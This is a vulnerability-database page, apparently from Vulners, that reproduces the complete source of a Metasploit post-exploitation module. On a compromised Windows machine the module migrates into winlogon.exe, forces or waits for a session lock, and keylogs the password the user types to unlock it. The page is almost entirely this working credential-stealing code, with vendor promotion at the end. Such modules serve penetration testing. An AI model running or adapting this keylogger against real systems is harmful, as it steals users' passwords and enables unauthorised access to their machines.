Lucene search
K

Windows Capture Winlogon Lockout Credential Keylogger

🗓️ 30 Jul 2011 18:50:24Reported by mubix <[email protected]>, cgType 
metasploit
 metasploit
🔗 www.rapid7.com👁 55 Views

Windows Capture Winlogon Lockout Credential Keylogger migrating and logging user passwords via Winlogon.exe during idle time and system changes for user securit

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Post::File

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Capture Winlogon Lockout Credential Keylogger',
        'Description' => %q{
          This module migrates and logs Microsoft Windows user's passwords via
          Winlogon.exe using idle time and natural system changes to give a
          false sense of security to the user.
        },
        'License' => MSF_LICENSE,
        'Author' => [ 'mubix', 'cg' ],
        'Platform' => ['win'],
        'SessionTypes' => ['meterpreter'],
        'References' => [['URL', 'http://blog.metasploit.com/2010/12/capturing-windows-logons-with.html']],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              core_migrate
              stdapi_railgun_api
              stdapi_sys_process_get_processes
              stdapi_sys_process_getpid
              stdapi_ui_get_idle_time
              stdapi_ui_get_keys_utf8
              stdapi_ui_start_keyscan
              stdapi_ui_stop_keyscan
            ]
          }
        }
      )
    )

    register_options(
      [
        OptInt.new('INTERVAL', [true, 'Time between key collection during logging', 30]),
        OptInt.new('HEARTBEAT', [true, 'Heart beat between idle checks', 30]),
        OptInt.new('LOCKTIME', [true, 'Amount of idle time before lockout', 300]),
        OptInt.new('PID', [false, 'Target PID, only needed if multiple winlogon.exe instances exist', nil]),
        OptBool.new('WAIT', [true, 'Wait for lockout instead of default method', false])
      ]
    )
  end

  def check_admin
    status = client.railgun.shell32.IsUserAnAdmin()
    return status['return']
  end

  def get_winlogon
    winlogon = []
    session.sys.process.get_processes.each do |x|
      if x['name'].downcase == 'winlogon.exe'
        winlogon << x
      end
    end
    if winlogon.empty?
      print_status('Winlogon not found! Exiting')
      return 'exit'
    elsif winlogon.size == 1
      return winlogon[0]['pid']
    else
      print_error('Multiple WINLOGON processes found, run manually and specify pid')
      print_error('Be wise. XP / VISTA / 7 use session 0 - 2k3/2k8 use RDP session')
      winlogon.each do |tp|
        print_status("Winlogon.exe - PID: #{tp['pid']} - Session: #{tp['session']}")
      end
      return 'exit'
    end
  end

  # Function for starting the keylogger
  def startkeylogger(session)
    print_status('Starting the keystroke sniffer...')
    session.ui.keyscan_start
    return true
  rescue StandardError
    print_error('Failed to start Keylogging!')
    return false
  end

  # Function for Collecting Capture (pulled from Carlos Perez's Keylogrecorder)
  def keycap(session, keytime, logfile)
    rec = 1
    # Creating DB for captured keystrokes
    print_status("Keystrokes being saved in to #{logfile}")
    # Inserting keystrokes every number of seconds specified
    print_status('Recording ')
    while rec == 1
      # getting Keystrokes
      data = session.ui.keyscan_dump
      outp = ''
      data.unpack('n*').each do |inp|
        fl = (inp & 0xff00) >> 8
        vk = (inp & 0xff)
        kc = VirtualKeyCodes[vk]

        f_shift = fl & (1 << 1)
        f_ctrl	= fl & (1 << 2)
        f_alt	= fl & (1 << 3)

        if kc
          name = (((f_shift != 0) && (kc.length > 1)) ? kc[1] : kc[0])
          case name
          when /^.$/
            outp << name
          when /shift|click/i
          when 'Space'
            outp << ' '
          else
            outp << " <#{name}> "
          end
        else
          outp << ' <0x%.2x> ' % vk
        end
      end
      select(nil, nil, nil, 2)
      file_local_write(logfile, "#{outp}\n")
      if !outp.nil? && (outp.chomp.lstrip != '')
        print_status("Password?: #{outp}")
      end
      still_locked = 1
      # Check to see if the screen saver is on, then check to see if they have logged back in yet.
      screensaver = client.railgun.user32.SystemParametersInfoA(114, nil, 1, nil)['pvParam'].unpack('C*')[0]
      if screensaver == 0
        still_locked = client.railgun.user32.GetForegroundWindow()['return']
      end
      if still_locked == 0
        print_status('They logged back in, the last password was probably right.')
        raise 'win'
      end
      currentidle = session.ui.idle_time
      if screensaver == 0
        print_status("System has currently been idle for #{currentidle} seconds and the screensaver is OFF")
      else
        print_status("System has currently been idle for #{currentidle} seconds and the screensaver is ON")
      end
      select(nil, nil, nil, keytime.to_i)
    end
  rescue ::Exception => e
    if e.message != 'win'
      print_line
      print_status("#{e.class} #{e}")
    end
    print_status('Stopping keystroke sniffer...')
    session.ui.keyscan_stop
  end

  def run
    # Log file variables
    host = session.session_host
    port = session.session_port
    filenameinfo = '_' + ::Time.now.strftime('%Y%m%d.%M%S')	# Create Filename info to be appended to downloaded files
    logs = ::File.join(Msf::Config.log_directory, 'scripts', 'smartlocker')	# Create a directory for the logs
    ::FileUtils.mkdir_p(logs)	# Create the log directory
    logfile = logs + ::File::Separator + host + filenameinfo + '.txt'	# Logfile name

    # Make sure we are on a Windows host
    if client.platform != 'windows'
      print_error('This module does not support this platform.')
      return
    end

    # Check admin status
    admin = check_admin
    if admin == false
      print_error('Must be an admin to migrate into Winlogon.exe, exiting')
      return
    end

    mypid = session.sys.process.getpid
    if datastore['PID'] == 0
      targetpid = get_winlogon
      if targetpid == 'exit'
        return
      end

      print_status("Found WINLOGON at PID:#{targetpid}")
    else
      targetpid = datastore['PID']
      print_status("WINLOGON PID:#{targetpid} specified. I'm trusting you...")
    end

    if mypid == targetpid
      print_status('Already in WINLOGON no need to migrate')
    else
      print_status("Migrating from PID:#{mypid}")
      begin
        session.core.migrate(targetpid)
      rescue StandardError
        print_error('Unable to migrate, try getsystem first')
        return
      end
      print_good("Migrated to WINLOGON PID: #{targetpid} successfully")
    end

    # Override SystemParametersInfo Railgun call to check for Screensaver
    # Unfortunately 'pvParam' changes it's type for each uiAction so
    # it cannot be changed in the regular railgun defs
    client.railgun.add_function('user32', 'SystemParametersInfoA', 'BOOL', [
      ['DWORD', 'uiAction', 'in'],
      ['DWORD', 'uiParam', 'in'],
      ['PBLOB', 'pvParam', 'out'],
      ['DWORD', 'fWinIni', 'in']
    ])

    print_good("Keylogging for #{client.info}")
    file_local_write(logfile, "#{client.info}\n")
    if datastore['WAIT']
      print_status('Waiting for user to lock out their session')
      locked = false
      while locked == false
        if client.railgun.user32.GetForegroundWindow()['return'] != 0
          locked = true
          print_status('Session has been locked out')
        else
          # sleep(keytime.to_i) / hardsleep applied due to missing loging right after lockout.. no good way to solve this
          select(nil, nil, nil, 2)
        end
      end
    else
      currentidle = session.ui.idle_time
      print_status("System has currently been idle for #{currentidle} seconds")
      while currentidle <= datastore['LOCKTIME']
        print_status("Current Idle time: #{currentidle} seconds")
        select(nil, nil, nil, datastore['HEARTBEAT'])
        currentidle = session.ui.idle_time
      end
      client.railgun.user32.LockWorkStation()
      if client.railgun.user32.GetForegroundWindow()['return'] == 0
        print_error('Locking the workstation falied, trying again..')
        client.railgun.user32.LockWorkStation()
        if client.railgun.user32.GetForegroundWindow()['return'] == 0
          print_error('The system will not lock this session, nor will it be used for user login, exiting...')
          return
        else
          print_status('Locked this time, time to start keyloggin...')
        end
      end
    end

    if startkeylogger(session)
      keycap(session, datastore['INTERVAL'], logfile)
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation